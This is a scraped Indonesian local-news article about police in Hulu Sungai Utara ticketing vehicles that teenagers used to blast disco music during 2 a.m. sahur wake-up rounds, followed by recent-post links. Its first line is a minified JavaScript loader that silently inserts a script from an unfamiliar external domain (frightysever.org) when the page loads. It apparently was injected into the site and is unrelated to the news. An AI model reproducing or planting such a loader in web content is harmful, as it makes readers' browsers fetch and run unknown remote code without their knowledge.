(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HSU

Bubarkan Remaja Bagarakan Sahur Pakai Musik Disko, Polres HSU Tilang 2 Pikap dan 1 Tossa


KANALKALIMANTAN.COM, AMUNTAI – Dua unit mobil pikap dan sebuah sepeda motor Tossa yang berisi sound sistem diamankan Polres Hulu Sungai Utara (HSU) karena melakukan bagarakan sahur menggunakan pengeras suara dengan musik disco, Selasa (5/5/2020) dini hari.

Giat yang dilakukan anggota Polsek Amuntai Kota bersama anggota piket Sat Sabhara Polres HSU dilakukan karena adanya laporan warga yang merasa mengganggu atas aktivitas para pemuda itu. Para pemuda ini bagarakan sahur menggunakan sound sistem dengan membunyikan musik disco tersebut.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui  Kapolsek Amuntai Kota Ipda Syaifullah mengakui telah melakukan penertiban kepada para remaja yang melakukan bagarakan sahur yang mengganggu warga tersebut.

Para pemuda diamankan Polres HSU karena bagarakan sahur menggunakan sound sistem dengan membunyikan musik disco. Foto: polres hsu

Karena menurutnya, bagarakan sahur para remaja tersebut malah tidak tepat waktunya dan malah mengganggu masyarakat lain yang istirahat tidur.

“Warga yang melakukan begarakan sahur dengan menggunakan pengeras suara sambil membunyikan musik disco itu tidak karuan, sehingga menganggu masyarakat yang dilewatinya, bahkan begarakan sahur dilakukan pada pukul 02.00 Wita, masyarakat terganggu karena masih jam istirahat,” jelasnya

Untuk itu, Kapolsek menambahkan, pihaknya menindak dengan melakukan penilangan terhadap kendaraan yang digunakan oleh para remaja tersebut.

Sedangkan kepada para remaja penggerak sahur dilakukan pembinaan dan mereka dimintakan untuk membuat surat pernyataan  agar tidak mengulangi lagi.

Lebih lanjut Kapolsek menghimbau kepada warga masyarakat agar sama sama memelihara Kamtibmas di bulan suci Ramadhan ini, apalagi saat ini pandemi  Covid-19 untuk mengikuti anjuran pemerintah dalam cegah tangkal Covid-19. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

 


Al Ghifari

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

2 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

8 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

8 jam ago

This website uses cookies.